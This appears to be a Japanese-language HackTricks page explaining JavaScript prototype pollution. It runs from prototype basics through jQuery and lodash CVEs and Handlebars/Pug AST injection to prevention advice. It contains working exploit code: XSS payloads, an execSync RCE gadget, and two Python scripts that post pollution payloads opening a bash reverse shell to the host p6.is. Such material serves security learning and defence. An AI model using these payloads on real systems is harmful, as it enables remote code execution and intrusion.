NodeJS - __proto__ & prototype Pollution

htARTE(HackTricks AWS Red Team Expert) でゼロからヒーローまでAWSハッキングを学ぶ

HackTricks をサポートする他の方法:

JavaScriptのオブジェクト

JavaScriptのオブジェクトは、プロパティとして知られるキーと値のペアのコレクションです。オブジェクトは、Object.createを使用して、空のオブジェクトを生成するために引数としてnullを使用して作成できます。このメソッドを使用すると、継承されたプロパティを持たないオブジェクトを作成できます。

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

JavaScriptにおける関数とクラス

JavaScriptでは、関数とクラスは密接に関連しており、関数はしばしばクラスのコンストラクタとして機能します。JavaScriptにはネイティブなクラスサポートがないにもかかわらず、コンストラクタはクラスの動作をエミュレートすることができます。

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

JavaScriptにおけるプロトタイプ

JavaScriptでは、実行時にプロトタイプ属性の変更、追加、または削除が可能です。この柔軟性により、クラスの機能を動的に拡張することができます。

toStringvalueOfなどの関数は変更して動作を変更することができ、JavaScriptのプロトタイプシステムの適応性を示すことができます。

継承

プロトタイプベースのプログラミングでは、プロパティ/メソッドはクラスからオブジェクトに継承されます。これらのクラスは、他のクラスのインスタンスにプロパティ/メソッドを追加するか、空のオブジェクトにプロパティ/メソッドを追加することで作成されます。

他のオブジェクトのプロトタイプとして機能するオブジェクト(たとえばmyPersonObjなど)にプロパティが追加されると、継承するオブジェクトはこの新しいプロパティにアクセスできます。ただし、このプロパティは明示的に呼び出されない限り、自動的に表示されません。

__proto__の汚染

JavaScriptにおけるプロトタイプ汚染の探索

JavaScriptオブジェクトはキーと値のペアで定義され、JavaScriptオブジェクトプロトタイプから継承されます。これは、Objectプロトタイプを変更することで環境内のすべてのオブジェクトに影響を与える可能性があることを意味します。

別の例を使用して説明してみましょう:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

アクセス可能なObjectプロトタイプは次の通りです:

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

以下は、JavaScriptのすべてのオブジェクトがこれらの新しいプロパティを継承するように、Objectプロトタイプにプロパティを追加することによって実現されます:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

プロトタイプ汚染

__proto__ の使用が制限されているシナリオでは、関数のプロトタイプを変更することが代替手段となります:

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

これは、Vehicleコンストラクタから作成されたオブジェクトにのみ影響を与え、beephasWheelshonkisElectricプロパティを付与します。

JavaScriptオブジェクト全体に影響を与えるための2つの方法は次のとおりです:

  1. Object.prototypeを直接汚染する:

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. よく使用される構造のコンストラクタのプロトタイプを汚染する:

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

After these operations, every JavaScript object can execute goodbye and greet methods.

他のオブジェクトを汚染する

クラスからObject.prototypeへ

特定のオブジェクトを汚染し、Object.prototype に到達する必要があるシナリオでは、次のようなコードを使用してそれを検索できます。

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

配列要素の汚染

JSのオブジェクトの属性を汚染できるように、配列を汚染する権限がある場合、配列の値を汚染することもできます。アクセス可能なインデックスによって(値を上書きすることはできないため、書き込まれていないがどこかで使用されているインデックスを汚染する必要があります)。

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Html要素の汚染

JSを使用してHTML要素を生成する際に、innerHTML属性を上書きして任意のHTMLコードを書き込むことが可能です。この解説と例を参考にしました

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Examples

Basic Example

プロトタイプ汚染は、アプリケーション内の欠陥によってObject.prototypeのプロパティを上書きできるようにすることで発生します。これは、ほとんどのオブジェクトがObject.prototypeからプロパティを派生させるため、オブジェクトのプロパティを上書きできることを意味します。

最も簡単な例は、チェックされるオブジェクトの未定義の属性に値を追加することです。

if (user.admin) {

もし属性 admin が未定義の場合、PP を悪用して次のように True に設定することが可能です:

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

このメカニズムは、特定の入力を攻撃者が制御できる場合、プロパティを操作してアプリケーション内のすべてのオブジェクトのプロトタイプを変更できるようにすることに関わっています。この操作は通常、__proto__プロパティを設定することを含みます。JavaScriptでは、これはオブジェクトのプロトタイプを直接変更することと同義です。

この攻撃を成功させるための条件は、特定の研究で概説されており、次のようになります:

  • 再帰マージを実行する。

  • パスに基づいてプロパティを定義する。

  • オブジェクトをクローンする。

関数の上書き

customer.__proto__.toString = ()=>{alert("polluted")}

Proto Pollution to RCE

pagePrototype Pollution to RCE

その他のペイロード:

クライアントサイドのプロトタイプ汚染からXSSへ

pageClient Side Prototype Pollution

CVE-2019–11358: jQuery $ .extendを介したプロトタイプ汚染攻撃

詳細については、この記事を参照してください jQueryでは、$ .extend 関数が適切に使用されない場合、ディープコピー機能が悪用されるとプロトタイプ汚染が発生する可能性があります。 この関数は、通常、オブジェクトのクローン作成やデフォルトオブジェクトからプロパティをマージするために使用されます。 ただし、誤って構成されると、新しいオブジェクトに意図されたプロパティが代わりにプロトタイプに割り当てられる可能性があります。 たとえば:

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

この脆弱性は、CVE-2019–11358として特定されており、ディープコピーが誤ってプロトタイプを変更し、isAdminなどのプロパティが適切な存在確認なしにチェックされると、管理者アクセスなどの潜在的なセキュリティリスクが発生することを示しています。

CVE-2018–3721、CVE-2019–10744: lodashを介したプロトタイプ汚染攻撃

詳細については、この記事を参照してください

Lodashは同様のプロトタイプ汚染の脆弱性(CVE-2018–3721、CVE-2019–10744)に直面しました。これらの問題はバージョン4.17.11で解決されました。

他のCVEを含むチュートリアル

プロトタイプ汚染を検出するツール

  • Server-Side-Prototype-Pollution-Gadgets-Scanner: Webアプリケーションでのサーバーサイドプロトタイプ汚染の脆弱性を検出および分析するために設計されたBurp Suite拡張機能。このツールは、潜在的なプロトタイプ汚染の問題を特定するためにリクエストのスキャンプロセスを自動化します。Node.jsライブラリに特に焦点を当て、既知のガジェット(有害なアクションを実行するためのプロトタイプ汚染を活用する方法)を悪用します。

  • server-side-prototype-pollution: この拡張機能は、サーバーサイドのプロトタイプ汚染の脆弱性を特定します。サーバーサイドのプロトタイプ汚染で説明されている技術を使用します。

NodeJSにおけるASTプロトタイプ汚染

NodeJSは、テンプレートエンジンやTypeScriptなどの機能でJavaScriptの抽象構文木(AST)を広範に利用しています。このセクションでは、テンプレートエンジン、特にHandlebarsとPugに関連するプロトタイプ汚染に関連する脆弱性について探ります。

Handlebarsの脆弱性分析

Handlebarsテンプレートエンジンはプロトタイプ汚染攻撃の影響を受けます。この脆弱性は、javascript-compiler.jsファイル内の特定の関数から発生します。たとえば、appendContent関数は、pendingContentが存在する場合にそれを連結し、pushSource関数は、ソースを追加した後にpendingContentundefinedにリセットします。

攻撃プロセス

攻撃は、Handlebarsによって生成されたAST(抽象構文木)を活用し、次の手順に従います:

  1. パーサーの操作: 最初に、パーサーはNumberLiteralノードを介して値が数値であることを強制します。プロトタイプ汚染により、数値でない文字列を挿入できます。

  2. コンパイラーによる処理: コンパイラーはASTオブジェクトまたは文字列テンプレートを処理できます。input.typeProgramと等しい場合、入力は事前に解析されたものとして扱われ、これを悪用できます。

  3. コードの挿入: Object.prototypeを操作することで、任意のコードをテンプレート関数に挿入し、リモートコードの実行につながる可能性があります。

Handlebarsの脆弱性を悪用する例:

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

このコードは、攻撃者がHandlebarsテンプレートに任意のコードをインジェクトする方法を示しています。

外部参照: 'flat'ライブラリに関連するプロトタイプ汚染の問題が見つかりました。詳細はこちら: GitHubの問題

外部参照: 'flat'ライブラリにおけるプロトタイプ汚染に関連する問題: Issue related to prototype pollution in the 'flat' library

Pythonでのプロトタイプ汚染の悪用の例:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Pugの脆弱性

Pug、別のテンプレートエンジンも、プロトタイプ汚染の類似リスクに直面しています。詳細な情報は、PugにおけるASTインジェクションの議論で入手できます。

Pugにおけるプロトタイプ汚染の例:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

予防策

プロトタイプ汚染のリスクを減らすために、以下にリストされている戦略が採用されることがあります:

  1. オブジェクトの不変性Object.prototypeObject.freeze を適用して不変にすることができます。

  2. 入力の検証:JSON 入力は厳密にアプリケーションのスキーマに対して検証されるべきです。

  3. 安全なマージ関数:再帰的なマージ関数の危険な使用は避けるべきです。

  4. プロトタイプのないオブジェクトObject.create(null) を使用してプロトタイププロパティのないオブジェクトを作成することができます。

  5. Map の使用Object の代わりに、キーと値のペアを格納するために Map を使用すべきです。

  6. ライブラリの更新:定期的にライブラリを更新してセキュリティパッチを取り込むことができます。

  7. リンターと静的解析ツール:ESLint のような適切なプラグインを使用して、プロトタイプ汚染の脆弱性を検出および防止するためのツールを使用します。

  8. コードレビュー:プロトタイプ汚染に関連する潜在的なリスクを特定し、是正するために徹底的なコードレビューを実装します。

  9. セキュリティトレーニング:開発者にプロトタイプ汚染のリスクと安全なコードの書き方に関するベストプラクティスを教育します。

  10. 注意してライブラリを使用する:サードパーティのライブラリを使用する際は注意が必要です。特にオブジェクトを操作するライブラリのセキュリティポジションを評価し、コードをレビューします。

  11. ランタイム保護:プロトタイプ汚染攻撃を検出および防止できるセキュリティに焦点を当てた npm パッケージの使用など、ランタイム保護メカニズムを採用します。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)!

HackTricks をサポートする他の方法:

Last updated